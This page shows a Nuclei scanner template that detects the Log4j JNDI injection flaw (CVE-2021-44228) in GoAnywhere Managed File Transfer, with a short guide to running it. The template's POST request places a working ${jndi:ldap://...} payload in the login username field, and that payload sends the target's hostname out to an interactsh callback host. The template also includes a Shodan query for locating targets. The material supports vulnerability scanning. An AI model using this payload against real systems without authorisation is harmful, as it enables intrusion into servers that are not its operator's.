GoAnywhere Managed File Transfer - Remote Code Execution (Apache Log4j)

ID: goanywhere-mft-log4j-rce

Severity: critical

Author: pussycat0x

Tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere,kev

Description

GoAnywhere Managed File Transfer is vulnerable to a remote command execution (RCE) issue via the included Apache Log4j.

YAML Source

id: goanywhere-mft-log4j-rce

info:
  name: GoAnywhere Managed File Transfer -  Remote Code Execution (Apache Log4j)
  author: pussycat0x
  severity: critical
  description: GoAnywhere Managed File Transfer is vulnerable to a remote command execution (RCE) issue via the included Apache Log4j.
  reference:
    - https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"GoAnywhere Managed File Transfer"
  tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        GET /goanywhere/auth/Login.xhtml HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /goanywhere/auth/Login.xhtml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}
        Referer: {{RootURL}}/goanywhere/auth/Login.xhtml

        formPanel%3AloginGrid%3Aname=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.name.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        name: view
        group: 1
        regex:
          - 'javax\.faces\.ViewState:1" value="(.*)" autocomplete'
        internal: true
        part: body
# digest: 490a004630440220143078bcf63c8e9640e0637450859057b0a4004470b7668f8635faf50a67e72102201b4ad9a02a9a22a07ddb0b8000fe02efd8bbd0219041976de9b65465e62393ec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml"

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